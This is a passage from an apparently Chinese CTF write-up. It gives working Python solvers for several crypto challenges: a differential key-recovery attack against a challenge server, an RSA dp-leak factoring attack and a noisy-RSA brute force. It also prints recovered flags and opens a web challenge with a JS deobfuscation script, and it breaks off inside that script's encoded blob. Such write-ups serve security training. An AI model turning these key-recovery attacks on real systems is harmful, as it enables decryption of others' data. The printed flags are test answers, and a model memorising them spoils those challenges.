= (c2 >> shift) & 0xF\n                    if (INV_S[n1 ^ k] ^ INV_S[n2 ^ k]) == tgt_diff:\n                        hits += 1\n                global_votes[nib_idx][k] += hits\n\n    k3 = 0\n    log.info(\"Key Recovery Results:\")\n    for i in range(4):\n        votes = global_votes[i]\n        candidates = sorted(range(16), key=lambda x: votes[x], reverse=True)\n        best = candidates[0]\n        runner_up = candidates[1]\n\n        gap = votes[best] - votes[runner_up]\n        log.info(f\"  Nibble {i}: 0x{best:x} (Votes: {votes[best]}), 2nd: 0x{runner_up:x} (Votes: {votes[runner_up]}) - Gap: {gap}\")\n\n        k3 |= (best << (12 - 4 * i))\n\n    proof = k3 ^ mask\n    log.success(f\"Recovered K3: 0x{k3:04x} | Proof: 0x{proof:04x}\")\n\n    io.sendlineafter(b\"Your input: \", b\"k\")\n    io.sendlineafter(b\"hex): \", f\"0x{proof:04x}\".encode())\n\n    try:\n        flag = io.recvall(timeout=3).decode().strip()\n        print(\"n\" + \"=\"*40)\n        print(flag)\n        print(\"=\"*40 + \"n\")\n    except:\n        log.warning(\"Connection closed before receiving flag.\")\n    finally:\n        io.close()\n\nif __name__ == \"__main__\":\n    solve()<\/code><\/pre>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u89e3\u51faflag\uff1a<\/p>\n\n\n\n
      ZmxhZ3swZDI5NzEyNi1mYTY2LTQ0MjUtYjkxZC1iMTYxYWRjNDM1NzR9<\/code><\/pre>\n\n\n\n
      \u8fd9\u4e2abase64\u89e3\u51fa\u662fflag \u4f46\u662f\u4e0d\u5bf9 \u56e0\u4e3a\u4e0d\u662f\u6b63\u5e38flag \u6240\u4ee5\u63d0\u4ea4base64\u7f16\u7801\u5c31\u884c<\/p>\n\n\n\n
      RSA<\/h3>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      flag.py<\/p>\n\n\n\n
      from Crypto.Util.number import getPrime, bytes_to_long\nimport random\n\n# 1. \u751f\u6210\u5927\u7d20\u6570 p, q\np = getPrime(512)\nq = getPrime(512)\nn = p * q\ne = 65537\n\n# 2. \u8ba1\u7b97 d\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\n\n# 3. \u8ba1\u7b97 dp (d mod p-1)\n# \u8fd9\u91cc\u7684 dp \u662f CRT \u6a21\u5f0f\u4e0b\u7528\u4e8e\u52a0\u901f\u89e3\u5bc6\u7684\u5173\u952e\u53c2\u6570\ndp = d % (p - 1)\n\n# 4. \u52a0\u5bc6 Flag\nflag = b\"flag{xxxxxxxxxxxxxxx}\"\nm = bytes_to_long(flag)\nc = pow(m, e, n)\n\nprint(f\"n = {n}\")\nprint(f\"e = {e}\")\nprint(f\"dp = {dp}\")\nprint(f\"c = {c}\")\n\n# n = 93977446509601491411273109183700477792476081212252100588514513996369916050240513858257713585313335366590846240370949831289684059273587772970292476296340120801189466605373324380976699533407970974215875662294283755613133719192114163547130089995306718768119144501566575807133141973499886356493323821201111393199\n# e = 65537\n# dp = 4646721143214293575763413674967142339122604220191663048739174575126624610789286103728040064106260338484738571999187838033377907298506299277252376843468857\n# c = 39842044108169653665655273759299059319749157454557086299529162182474598233474908300467494642550719706800866015430966154461050042032159169236220832726422011654867871818265524075008160875598938671421298968459869843510325230871429349578969045129760472874539862070944657591218420952191065002303403538259250208430<\/code><\/pre>\n\n\n\n
      \u9898\u76ee\u662f\u4e00\u4e2aRSA \u4e2d\u7684 dp \u6cc4\u9732\u653b\u51fb<\/strong><\/p>\n\n\n\n
      \u6ee1\u8db3\u516c\u5f0f\uff1ae\u00d7dp\u22611(modp\u22121)e\u00d7dp\u22611(modp\u22121)\u3002<\/p>\n\n\n\n
      \u8fd9\u610f\u5473\u7740 e\u00d7dp\u22121e\u00d7dp\u22121 \u662f p\u22121p\u22121 \u7684\u500d\u6570\u3002\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8d39\u9a6c\u5c0f\u5b9a\u7406\u914d\u5408\u6700\u5927\u516c\u7ea6\u6570 (GCD) \u5feb\u901f\u53cd\u63a8\u51fa\u7d20\u6570 pp\u3002<\/p>\n\n\n\n
      GCD \u7b97\u6cd5\u5206\u89e3 n<\/code> \u5f97\u5230 p<\/code> \u548c q<\/code>\uff0c\u7136\u540e\u89e3\u5bc6\u5f97\u5230 Flag\u3002<\/p>\n\n\n\n
      py3\u811a\u672c\u5448\u73b0<\/p>\n\n\n\n
      import sys\nfrom Crypto.Util.number import long_to_bytes, inverse\nimport math\n\nn = 93977446509601491411273109183700477792476081212252100588514513996369916050240513858257713585313335366590846240370949831289684059273587772970292476296340120801189466605373324380976699533407970974215875662294283755613133719192114163547130089995306718768119144501566575807133141973499886356493323821201111393199\ne = 65537\ndp = 4646721143214293575763413674967142339122604220191663048739174575126624610789286103728040064106260338484738571999187838033377907298506299277252376843468857\nc = 39842044108169653665655273759299059319749157454557086299529162182474598233474908300467494642550719706800866015430966154461050042032159169236220832726422011654867871818265524075008160875598938671421298968459869843510325230871429349578969045129760472874539862070944657591218420952191065002303403538259250208430\n\ndef attack():\n    exponent = e * dp - 1\n\n    temp = pow(2, exponent, n)\n\n    p = math.gcd(temp - 1, n)\n\n    if p == 1 or p == n:\n        print(\"[-] Failed to recover p with base 2, trying base 3...\")\n        temp = pow(3, exponent, n)\n        p = math.gcd(temp - 1, n)\n\n    print(f\"[+] Found p: {p}\")\n\n    q = n \/\/ p\n    print(f\"[+] Found q: {q}\")\n\n    assert p * q == n\n\n    phi = (p - 1) * (q - 1)\n    d = inverse(e, phi)\n\n    m = pow(c, d, n)\n    flag = long_to_bytes(m)\n\n    print(f\"n[+] Flag: {flag.decode()}\")\n\nif __name__ == \"__main__\":\n    attack()<\/code><\/pre>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      flag{L34k_0f_Dp_Br34ks_RS4_E4sy}<\/code><\/pre>\n\n\n\n
      Quantum<\/h3>\n\n\n\n
      public.txt<\/p>\n\n\n\n
      75b8da92a0a4caf5cc838133cf138aa114d10cdcd05a4664dba48417b3ab64959c7f56dfb5fd05bb8165b069f22466f4c38478e98adc0f1f266fdbb53014c69300e6b8ebca8e0ed0037c983c75695ac3cfee1527ce88c407b8af6bbe84d0dd8bf3982c97d5f2080b9c269a181af5fa2116e87fac295dbaeb1a0f0b992454083d02397fcf4f29e0c6bd7cec57e17737aa9417a0520ffe10622fcd24fa9d5ee9c6e6aa6afcfe06fe13f6656ffe3da9be13386d9a15b34187ac3637080b0535ae982dfd14e359d2d4c8dabf7cd378c9e6644e75f6cd72d2db08c84b7dd0e943588d9fb9713990643d7fe082c4db085ca2f71443932e76fe91cb3bf14def5138d223\n10001\n9342a05c47464a3dcf47b42f<\/code><\/pre>\n\n\n\n
      ciphertext.txt<\/p>\n\n\n\n
      464c1b4adee3731c5372f912385ae67ba74055f282118e8cedbbaedc389d8902d355c9f9fc0abdc5442a15014c167e56b0ebbb5c0cfec997a067a09db4deed4f32f84aac2213e945adfa4a1d7e61a46824da58eb8db7e24ab32f83bd65271d81ee0a5f9dc45934c9e240b6f77da8f130dbb5163238cb60f7d610d1786f3f1f1d5adadccc69c59cf6e5f8a20d10f00d6d6d1b216bd72f9ea16ea3d8ecc0a0f6cf6b8665dfb4d97faca774d4f0d6a2454bafa9c04dc843f86f5a54c3a9b9e49180e1e68c17622707436f494a7744e175d69a798f1cb3be7bb4115de543b4ac3b1ada91a954fafaef681a84cc39b6f8449749dc351a2b1e32c20be29ae1699b4fe8<\/code><\/pre>\n\n\n\n
      ciphertext.txt<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u9898\u76ee\u7ed9\u51fa\u4e86 RSA \u516c\u94a5\u3001\u5bc6\u6587\uff08ciphertext.txt<\/code>\uff09\u4ee5\u53ca\u4e00\u4efd\u4ea4\u4e92\u65e5\u5fd7\uff08oracle_transcript.txt<\/code>\uff09\u3002 \u901a\u8fc7\u89c2\u5bdf\u65e5\u5fd7\u6587\u4ef6\uff0c\u53d1\u73b0\u5bc6\u6587 CC \u51fa\u73b0\u5728\u65e5\u5fd7\u4e2d\uff0c\u4e14\u5176\u7d27\u8ddf\u7684\u4e0b\u4e00\u4e2a\u5927\u6574\u6570 YY \u4e0e CC \u5b58\u5728\u5bf9\u5e94\u5173\u7cfb\u3002 \u7ed3\u5408\u9898\u76ee\u201c\u53cc\u53c2\u6570\u566a\u58f0\u201d\u63d0\u793a\u53ca\u89e3\u9898\u903b\u8f91\uff0c\u63a8\u6d4b\u8fd9\u662f\u4e00\u4e2a Noisy RSA<\/strong> \u95ee\u9898\u3002Oracle \u8fd4\u56de\u7684 YY \u662f\u660e\u6587 MM \u52a0\u4e0a\u4e86\u4e00\u4e2a\u8f83\u5c0f\u7684\u968f\u673a\u566a\u58f0 rr\uff0c\u5373\uff1a<\/p>\n\n\n\n
      Y=M+rY=M+r<\/p>\n\n\n\n
      \u89e3\u9898\uff1a<\/p>\n\n\n\n
      \u8bfb\u53d6 ciphertext.txt \u5f97\u5230\u5bc6\u6587 CC\u3002\n\u89e3\u6790 oracle_transcript.txt\uff0c\u627e\u5230 CC \u6240\u5728\u7684\u4f4d\u7f6e\uff0c\u63d0\u53d6\u7d27\u968f\u5176\u540e\u7684\u6570\u503c\u4f5c\u4e3a YY\u3002\n\u7206\u7834\u566a\u58f0 rr\uff08\u4ece\u5c0f\u5230\u5927\u5c1d\u8bd5\uff09\uff0c\u8ba1\u7b97 Mguess=Y\u2212rMguess=Y\u2212r\u3002\n\u9a8c\u8bc1 Mguesse\u2261C(modN)Mguesse\u2261C(modN)\u3002\u82e5\u6210\u7acb\uff0c\u5219\u8f6c\u6362 MguessMguess \u5f97\u5230 Flag\u3002<\/code><\/pre>\n\n\n\n
      \u4ece public.txt<\/code> \u8bfb\u53d6 N,eN,e\u3002<\/p>\n\n\n\n
      py3\u811a\u672c\u5448\u73b0<\/p>\n\n\n\n
      import sys\n\nPUBLIC_FILE = \"public.txt\"\nCIPHER_FILE = \"ciphertext.txt\"\nTRANSCRIPT_FILE = \"oracle_transcript.txt\"\nMAX_R = 1 << 20 \n\ndef clean_hex(s):\n    s = s.strip().lower()\n    if s.startswith(\"0x\"):\n        s = s[2:]\n    return s\n\ndef main():\n    try:\n        with open(PUBLIC_FILE, \"r\") as f:\n            content = f.read().split()\n            N = int(clean_hex(content[0]), 16)\n            if len(content) >= 3:\n                val2 = int(clean_hex(content[1]), 16)\n                if val2 < 655370:\n                    e = val2\n                else:\n                    e = 65537\n            else:\n                e = 65537\n    except Exception as err:\n        return\n\n    try:\n        with open(CIPHER_FILE, \"r\") as f:\n            c_raw = f.read()\n            C = int(clean_hex(c_raw), 16)\n    except Exception as err:\n        return\n\n    try:\n        with open(TRANSCRIPT_FILE, \"r\") as f:\n            raw_data = f.read()\n        \n        tokens = raw_data.split()\n        transcript_ints = []\n        for t in tokens:\n            t_clean = clean_hex(t)\n            if len(t_clean) > 20: \n                try:\n                    val = int(t_clean, 16)\n                    transcript_ints.append(val)\n                except:\n                    pass\n        \n        y_val = None\n        if C in transcript_ints:\n            idx = transcript_ints.index(C)\n            if idx + 1 < len(transcript_ints):\n                y_val = transcript_ints[idx + 1]\n            else:\n                return\n        else:\n            return\n\n    except Exception as err:\n        return\n\n    for r in range(MAX_R):\n        M_candidate = y_val - r\n        if pow(M_candidate, e, N) == C:\n            print(f\"Found r = {r}\")\n            try:\n                length = (M_candidate.bit_length() + 7) \/\/ 8\n                flag_bytes = M_candidate.to_bytes(length, byteorder='big')\n                try:\n                    print(flag_bytes.decode('utf-8'))\n                except:\n                    print(flag_bytes)\n            except:\n                print(M_candidate)\n            break\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      flag{7a94faqe-e0a3-1qf0-8527-30050575612d-983f85d9-e0a3-11f0-88ca}<\/code><\/pre>\n\n\n\n
      Web<\/h2>\n\n\n\n
      van-you-see<\/h3>\n\n\n\n
      web-\u6e38\u620f \u7ecf\u5178 js<\/p>\n\n\n\n
      \u53d1\u73b0\u4e24\u4e2a\u6587\u4ef6crypto-js.min.js<\/p>\n\n\n\n
      game-encrypt.js<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u4e3b\u8981 \u5728game \u4e2d\u5b58\u5728js\u6df7\u6dc6 \u9700\u8981\u8fd8\u539f\u672c\u8eab\u4ee3\u7801<\/p>\n\n\n\n
      \u811a\u672c\u5982\u4e0b<\/p>\n\n\n\n
      import re\ndef solve_sojson():\n    print(\"--- \u5f00\u59cb\u8fd8\u539f SoJSON \u6df7\u6dc6\u4ee3\u7801 ---\")\n    obfuscated_str = \"102q117k110K99P116t105B111h110c32G95u48W120R51P52H56I100v40y41b32y123A10W32N32Z32V32E99X111Q110P115i116A32J95b48A120m52E100N98W57j51X102C32o61r32Y91O10t32v32T32Y32O32Q32A32L32i39Z102d82q100b116z114s39u44K10M32M32W32r32O32a32l32i32D39t86U116S118A66O120w39Y44o10O32p32v32q32v32q32w32d32W39y50O53o51W49q106a73M88y74k121c120U39O44T10A32C32j32L32v32d32H32X32d39c115U116a97t116X117X115y39p44n10u32X32Z32f32Y32E32E32Z32N39I51M53b49p57o50x52Y109f113w69N79j114U97d39t44V10H32I32k32V32q32y32r32M32z39u103R119u77V118O122d39I44t10Y32n32u32W32w32Q32b32Y32t39b85R108p120E108M108u39m44h10e32m32c32e32m32A32m32w32N39V52f55U54d49R112a109D83U87X85f65h39i44o10f32Y32P32D32A32T32G32D32o39C99v108Q97k115n115B76t105x115f116k39x44h10w32I32R32K32d32Y32f32A32Z39V49d49B53X97V100C102Q90U98D90y39B44L10o32c32s32l32o32C32b32g32c39d102L108n111i111e114L39h44L10w32Q32e32K32Q32Q32L32F32H39N97A100m100d39H44q10D32F32G32g32f32K32W32G32K39N77e101U122a81q65C39n44S10V32v32z32p32e32h32M32C32A39u81e89G69m80R98u39M44U10H32n32o32v32z32W32y32U32A39d107b101q121X100y111d119f110B39Y44H10o32J32x32k32o32J32W32W32o39O100e105H118m39P44f10a32b32R32W32w32W32x32D32g39Q66R121f73P100q39x44F10B32l32g32B32K32l32Z32i32L39g100d115t80T75T70c39w44E10U32B32I32O32R32x32M32F32l39B116H111b83Y116m114M105l110H103q39O44O10Y32t32d32g32r32M32h32v32g39q99H101o108L108V39N44G10w32o32Z32D32o32d32r32E32P39L84G98k79J89r121y39n44b10n32Z32O32w32r32K32l32u32v39G81q112H114P88x72g46E112P104y112u39k44j10T32L32C32F32g32y32Z32Y32q39i104R114w101v102C39e44J10A32e32x32f32Q32h32d32w32t39H117N76M108N79b108S39B44U10e32G32h32v32T32i32V32n32B39s116z101T120J116J67e111Q110h116X101X110S39i44t10z32d32N32q32u32V32V32O32E39K98l111Z97E114w100I39g44C10s32d32z32a32N32w32a32w32A39r80s107j99P115i55e39J44j10z32P32z32q32e32H32Y32C32R39z49q51K54h56p56d54a56S53K83F69G105v116b86U79p39d44Q10Y32t32N32J32I32e32F32q32K39b119t112S67K71L79n39A44d10K32B32K32L32k32k32Q32E32G39j101v110s99q114X121k112a116z39X44k10M32G32z32d32r32C32f32m32P39G118V100y73S83b113Q39n44i10L32O32S32a32T32M32a32T32A39Y111B80A84W69z104e39T44A10K32S32O32H32b32i32Q32u32J39P115n112W108O105d116Y39n44s10C32V32O32X32V32f32A32T32D39m108F88J87V108d77S39e44y10P32A32K32Q32d32d32V32q32C39S97h112F117k67D70u39u44y10v32U32W32B32O32F32u32B32m39C89C119B81l104S109J39Q44W10M32z32t32T32j32I32J32E32Z39A112f117w115Y104b39m44D10z32I32B32A32q32Q32F32X32o39J103s101U116I69v108n101y109G101Q110w116v39R44z10M32O32I32H32G32W32W32e32U39L54u49C50b121J82o114B81B69Z89N39D44m10t32D32N32O32W32J32B32i32w39t65e114R114j111y119z85V112Q39N44e10g32h32N32B32g32W32Q32O32O39V97u112Y112x101f110f100Z67n104b105n108O39q44m10p32V32q32O32g32k32Y32j32H39P74a70p109E108Q82k39G44s10k32z32k32B32N32j32Q32u32B39Y121q82D97Q79S97y39k44O10t32u32b32p32t32k32k32R32s39C85r102l69G83J75T39E44O10u32B32n32m32S32l32W32x32l39E88R69k120F66l113D39s44x10x32D32g32j32J32Q32e32B32q39l90R111q80j84P120e39Y44u10Q32Q32Y32h32b32I32g32n32o39U97P100z100A69h118m101L110f116R76A105H39V44L10t32n32W32A32F32y32G32m32Q39F115f99E111d114F101U39Y44n10n32l32W32q32f32q32U32y32H39O105L75s105f74S80a39a44s10N32r32i32j32G32z32w32s32F39A107p71B105L112z65R39F44V10n32B32j32s32o32Y32n32j32p39H101W116T77S117i68R39x44W10L32V32q32Z32e32v32t32x32d39z108T100l102J75B79J39x44g10A32g32K32Z32H32M32y32N32Q39L114p97J110y100d111q109E39n44t10K32K32o32Y32N32I32x32L32p39D99S101z108u108U45Z39C44g10j32n32X32s32p32Y32c32M32z39h100V85O77V113h97s39f44U10s32c32r32e32t32e32r32q32g39H86W80u110n108h103l39H44x10w32Q32K32c32x32n32p32o32C39a57v100H53V98p101K102A39b44p10I32C32w32i32N32W32r32P32T39o114O101G97N100V121y83L116l97E116w101Q39x44R10R32Q32k32a32Z32O32J32k32P39C112U120s121O121O99g39s44x10I32f32n32X32K32y32g32I32z39C109b111c100I101m39I44z10W32J32P32b32K32u32X32S32Z39i107j119c117O110I89a39s44M10s32Y32A32X32Q32m32Q32P32X39O105I110S110g101N114R72S84z77O76o39v44s10A32w32X32h32q32k32O32U32n39s98m113H65y100a116V39Z44O10Q32Q32U32v32p32r32C32V32t39m97X102E49S54k100t50b98Q101i56O57G39C44Z10h32I32d32K32v32d32z32c32h39V112N97i114B115Y101U39i44S10F32g32z32M32z32T32P32W32k39e101T110E116b39Z44y10h32J32T32w32T32A32x32b32g39A97b83j87S107j89H39N44r10G32i32T32p32B32P32k32Q32r39e114e101r118W101M114i115c101h39v44d10g32H32F32E32K32I32C32Z32D39z74v98N73F97m90j39q44K10G32D32a32d32P32N32u32f32B39D90m81o107d87o112C39g44h10C32s32G32Z32Z32f32k32c32B39V117U65o116G84o69I39H44U10Y32d32b32O32s32b32R32s32E39O97z81f118A101P107n39W44a10R32x32s32i32R32I32d32H32f39q73m85G65Z108s121f39d44I10P32y32n32Z32P32H32v32l32I39t108G111w99I97G116J105u111Y110k39J44R10x32n32N32O32k32a32n32C32f39G66i74J98e72y112u39D44L10q32M32F32u32e32v32w32J32r39V86q67s69r88N89A39e44D10h32Q32H32I32d32r32i32V32o39R116R101r99v104r97M110v103A101r39V44B10A32L32j32Y32Y32Q32V32Y32o39Y67s66d67B39M44Q10Q32r32E32M32w32x32r32R32l39J52G124s51R124J50I124x48L124t49c39u44F10Z32Z32t32B32W32I32j32V32i39b100F101G99K114E121X112W116Z39A44t10E32N32l32I32Q32A32A32a32k39M55z52L53Z99C51Z48C39i44z10Y32R32d32A32m32m32r32i32v39v111E110F114u101m97q100c121F115r116h97N39L44z10w32K32p32Q32z32m32G32T32S39R71Y69B84I39l44R10u32B32G32d32U32H32z32Z32x39p110A71l117I111F100z39Z44Z10K32K32D32N32h32G32S32F32C39L85Y71m77K108F81K39V44T10S32R32i32G32N32X32N32Z32F39r105U83w72q75X77a39x44n10Y32G32u32u32u32e32R32p32z39D115N101u110P100V39Q44a10k32n32w32U32J32c32m32j32i39v102G105h108X108l39K44B10K32D32r32w32Y32J32B32g32e39W114Y101u115J112u111T110X115L101u84Q101k39p44l10w32z32b32w32f32R32L32D32l39L106D81Z111k121G99e39t44N10H32J32D32J32y32D32Z32g32C39i49x50z48C56G102N101R70t88V112P67c39z44n10T32y32i32f32q32w32c32t32Z39P47p117M48u99P78i84s122S118E73J53J39g44e10I32J32h32Q32H32K32i32h32D39B65P114x114B111J119P82p105I103g104Y116P39I44R10U32s32m32x32q32j32w32c32C39G65h114Q114h111L119O76N101j102O116X39G44E10Z32b32K32Y32Y32w32l32V32r39u85C116S102l56k39F44o10i32Z32M32s32F32l32C32i32O39K53m55Z48F104V102K66Q117i80l107e39W44M10c32Q32f32z32E32A32G32Q32a39j65H69O83n39A44C10E32Q32z32M32X32J32y32w32a39n101g110G99j39a44u10V32h32R32k32C32i32b32e32T39q112s106l121x121n65V39d44z10n32O32c32X32T32S32Z32y32M39y112Y97F100H39b44a10O32t32s32M32k32Y32s32p32I39u102I105f108M116u101n114C39W44z10h32e32P32J32D32E32j32i32j39A111K112r101u110E39T44p10V32W32q32T32d32d32R32Z32X39Q99f114Q101n97a116y101d69y108g101U109m39v44r10I32X32C32z32d32S32n32z32t39F53E51c53z55u51J51X120O90i98d77l76g83E39z44g10e32t32i32q32w32F32l32t32R39Z115S108Y105r99D101V39f44M10r32p32H32i32x32Y32X32u32N39r52m57X48b57j49r104Q110a90m65u69m66A39g44E10w32Q32D32N32O32w32v32W32L39l107X101y121t39n44v10Z32Y32P32z32H32d32u32o32K39V108y101F110t103y116b104P39j44n10R32O32C32m32M32k32u32B32D39Q118D66q113t103i73G39b44i10u32M32Z32y32e32G32h32n32f39n65T114c114D111a119Y68Q111A119e110p39h44W10P32d32H32h32W32I32h32w32O39e66I109l106Y83J100r39N44N10J32H32R32X32l32S32M32L32B39q83w80f102w119j116Z39N44z10v32b32j32X32n32S32m32o32y39V50t54G51F56j57t52t52D90w72y83M98P86O87I39i44Y10s32g32A32k32b32R32S32u32d39W66D115M102J120K100j39c44L10z32E32i32s32V32b32k32u32Z39o35831c27714h22833c36133I65292c29366O24577v30721L65306B39v44O10R32A32z32W32c32h32x32I32Y39C115u116b101r110z101N114w39b44x10V32r32U32w32H32I32L32H32A39V101i114c114l111c114E39O44x10j32q32j32V32V32W32G32b32M39X49h50r54W55Z99r48e97z51c56L52r39C44T10M32j32t32M32r32L32A32I32D39q99z108P97y115R115Q78p97Q109c101f39q44F10d32u32G32O32w32Z32J32o32O39S87u86g85N107R73z39O44r10j32C32X32x32p32p32F32v32e39U68c87K105y90G102m39a44c10q32Y32u32W32R32s32m32I32z39d102J114O111T109U39M44S10Z32W32S32Z32F32T32w32v32H39X67K90v78T122V89L39W44B10s32S32I32w32r32G32V32N32o39Y104A102m72H77C118L39f10h32J32u32M32v93I59q10N32d32I32T32w95E48c120N51n52J56v100X32q61s32H102B117U110s99A116w105o111n110v32k40h41h32L123g10D32g32l32N32Z32H32g32K32m114m101q116d117g114I110Q32i95F48S120h52C100g98i57h51f102G59W10a32p32v32s32c125p59W10K32A32L32D32q114w101g116Y117W114R110O32X95P48Y120e51Z52o56T100V40p41T59w10R125X10i99Q111R110G115P116T32N95q48o120C49O50r98c55D55D51V32K61D32H95w48J120G49L100j56m49J59o10s40R102Z117Q110z99a116h105o111H110n32H40I95Y48b120o49r98i51F48u48M49w44r32E95M48e120g50M49T57L53i100m56T41w32s123d10r32x32R32P32q99p111F110o115j116l32W95e48T120y51J51e100M51o56J97l32H61O32D95O48N120t49J100I56I49C44v32l95D48U120P57h100x52d101I54R55J32Y61y32s95l48Y120j49u98i51W48i48X49W40l41u59N10E32z32V32X32b119y104I105d108C101z32q40d33t33Y91d93E41d32R123d10K32q32D32T32L32A32l32l32M116h114i121p32G123B10h32t32H32v32k32c32I32V32K32q32G32E32J99j111H110H115c116N32V95j48p120c50G100n100r56h48n57G32Y61i32J112i97R114I115B101g73a110Z116k40J95X48f120B51n51o100u51t56u97J40r48p120X49B55N99f41y41f32L47S32F40F48R120z50f55Q48a97n32q43X32V45C48S120W56g102q51X32G43K32y45Q48e120h49W101e49U54A41r32e42N32T40l45Q112k97J114b115t101D73K110z116T40I95O48z120C51B51G100h51i56M97d40P48n120m49G97E48V41j41i32x47c32i40B45H48u120A50h50Y52u101K32Z43w32j48D120B50R51l55f49d32P43P32K45u48X120U49R49n32t42u32L48S120A49l49L41e41v32m43b32V112H97n114T115V101h73s110q116m40B95S48V120V51t51d100z51E56c97v40C48z120n49w56h49H41J41M32Q47C32U40A48R120U102V55N32E42O32V48e120o49l100k32q43D32f45o48a120w53k32t42W32t48l120r51I100v51z32h43K32s45i48l120B50k102t51E32w42n32q48C120P51O41Y32g43A32v112B97c114O115h101W73z110F116V40p95M48K120z51l51h100w51M56Y97i40h48z120c49o54X101l41k41x32l47U32h40z48Y120F49n32h42a32p45c48N120O50F52I55E100I32c43S32G48N120I50F54p101D52c32u43K32K45K48y120G50j54g51f32S42m32c48M120u49n41U32R43w32C45O112z97o114T115o101d73v110m116J40Z95g48G120x51e51e100N51Q56l97Z40E48u120r49r56k51K41U41Y32U47Y32H40G48r120o50w97D97P32m42K32d48x120f98z32W43x32L48x120A49n32T42p32G48t120l49K51H51H48M32r43R32e48I120d49F32S42G32X45t48d120q51t48Z55r57T41r32G42s32u40b112o97a114l115r101h73k110y116K40e95Q48O120o51R51V100r51z56M97d40N48M120n49c55F101k41i41K32a47K32r40r45N48X120d50g98F32A42c32J45v48W120V100k98H32z43u32l48i120R99q97l32s42M32L48U120t57I32y43l32S45o48z120C50Y98e100J100q41y41h32C43r32H45R112R97A114P115R101o73V110r116j40d95J48c120W51p51c100t51p56x97f40k48J120k49S54N55R41s41l32r47A32J40U45C48d120K49R53l51J100d32S43V32N45F48v120E52R32c42y32u48h120J52P48t32O43P32d48U120o49Y54E52I52y41S32Z42g32r40r45W112R97U114N115X101s73f110Z116P40S95R48a120Y51t51f100r51m56m97G40F48G120P49j53n56c41p41W32j47d32z40S48I120P49E99e99M48f32z43X32b45n48t120A101r51E56A32T43S32x45K48K120V49O32s42Z32Y48y120Z101W56v48P41V41f32b43z32M45Z112K97J114G115h101S73U110M116U40J95o48C120k51c51y100v51f56n97z40o48q120r49A57Y53R41s41K32o47O32N40W48U120W54k97D32t42R32R45e48Z120O49u32r43j32z48W120P51r98z54Z32q43p32f45f48F120X51f52F51P41t32R43w32b112E97d114D115a101e73L110o116r40e95K48B120H51W51B100U51n56d97l40l48k120I49v53B100M41P41O32s47f32r40p45c48Z120M49A48c56v50C32H42z32a48g120I49L32x43u32Z48H120x49z55l50W53F32N43K32H45p48A120s54c57o57t32E42e32I48z120G49V41Z32H42M32o40D112o97H114V115j101D73e110z116q40m95p48d120T51G51F100w51K56g97j40T48l120Y49Q54e53e41O41E32K47y32s40C48Y120U50O99c53o32z42S32g48D120E49j32Q43F32t48o120h49t32e42E32u48w120f49e101g49p54T32A43I32u45e48m120m49s56P32O42X32c48g120l49q53b101d41C41f59b10O32K32q32H32w32n32a32u32f32z32y32E32b105F102q32v40O95b48z120y50Z100s100Q56m48E57e32w61n61Y61c32y95b48U120b50i49h57Z53m100I56i41r10z32Q32A32a32X32y32J32k32Y32K32a32Q32R32j32D32Q32E98a114U101U97m107U59d10B32v32Y32G32T32q32C32h32l32u32u32c32x101l108z115N101r10c32I32H32s32y32y32n32S32H32s32s32n32x32K32B32o32f95J48N120r57z100K52x101B54j55f91e39n112p117y115C104z39Z93A40p95F48w120r57q100I52n101E54f55A91m39F115d104G105d102o116s39E93h40V41d41a59p10U32A32w32h32Z32k32s32i32i125r32o99v97J116h99e104x32J40C95v48b120R52V53M49Q50m54n98w41t32p123Q10C32E32x32v32e32e32Y32R32V32d32D32o32g95a48p120O57p100C52C101L54V55x91y39J112l117u115p104Y39x93S40y95S48z120D57F100a52F101u54X55r91J39T115p104M105j102D116f39z93M40s41N41C59k10V32M32a32f32n32K32w32M32G125p10D32J32K32c32C125u10b125s40B95K48r120X51W52D56G100C44w32R48a120f57d49s55R97n57L32I43d32D45c48e120g49U51M55Y53c97i102x32s43o32f45A48r120o50D101H32g42H32X45I48Y120O56L50n48c57k41o41o59P10e99l111E110M115Z116g32r98B111B97z114N100T83m105i122G101f32d61S32U48a120n54B52U54p32j43z32Y48X120F49j97m101g101p32P43N32u48Z120z49K56R32E42i32b45i48W120m49e54J50L59P10M108Z101Q116R32T98j111w97Z114y100g32n61g32w91x93H44v32d115W99h111t114M101S32A61S32M45a48F120R49t32V42w32Q48t120O49c97S101S32s43O32K45O48a120c51z51n55J32a42i32O45g48g120o52r32z43Y32C45s48G120p49P100d100i32q42M32S48e120j54K59Z10z99J111q110z115J116u32m98w111o97t114B100x69Q108l101O109d101g110C116V32s61m32g100J111y99c117m109k101V110H116X91j95v48s120K49D50s98p55q55P51o40W48w120x49j57g102G41E32f43n32w95v48y120i49B50n98U55j55G51R40S48S120I49R56u97h41J93S40o95d48v120V49l50W98b55a55i51i40c48A120K49o57o51d41i41x44A32e115N99N111L114B101O69g108Z101f109C101F110U116W32f61F32K100d111r99a117a109V101y110U116T91F95E48d120G49R50s98I55h55N51S40n48c120a49V57m102n41g32b43U32v95N48R120g49f50U98C55g55n51M40n48y120d49V56b97E41o93W40f95K48j120Q49v50m98X55g55i51M40d48g120V49k97o57N41H41r59p10C102u117b110z99m116R105I111s110C32H105v110F105N116C40q41C32L123T10T32m32g32s32C99Y111r110I115D116b32M95W48E120e52n52n55Z99j53T52Y32A61Q32J95A48u120u49h50W98t55w55N51L44z32c95K48O120F50D101y49N101P101K50m32x61t32W123p10s32e32b32W32E32R32x32c32r32W32K32T32p39m84T98z79v89G121G39D58f32K95Z48s120v52S52W55S99q53b52g40q48S120o49r52F99f41L44z10b32A32d32w32D32A32F32Q32T32c32d32g32s39U74I70j109w108L82J39l58z32T102m117r110e99K116u105M111z110A32N40V95N48q120h53f57s102W55l53B101Z41l32o123n10g32t32d32P32p32j32Y32i32T32j32I32W32n32l32a32P32k114H101V116G117U114W110q32l95O48j120c53D57W102Y55R53o101t40L41X59r10Q32u32M32X32X32Z32U32i32e32w32D32b32A125u44X10A32U32O32H32B32J32S32U32Q32r32a32U32s39F85H102o69f83I75Q39u58f32A102Z117l110k99W116q105h111h110g32d40n95f48N120w53r53P52W56a100o98u41J32t123d10y32s32M32X32F32y32z32P32u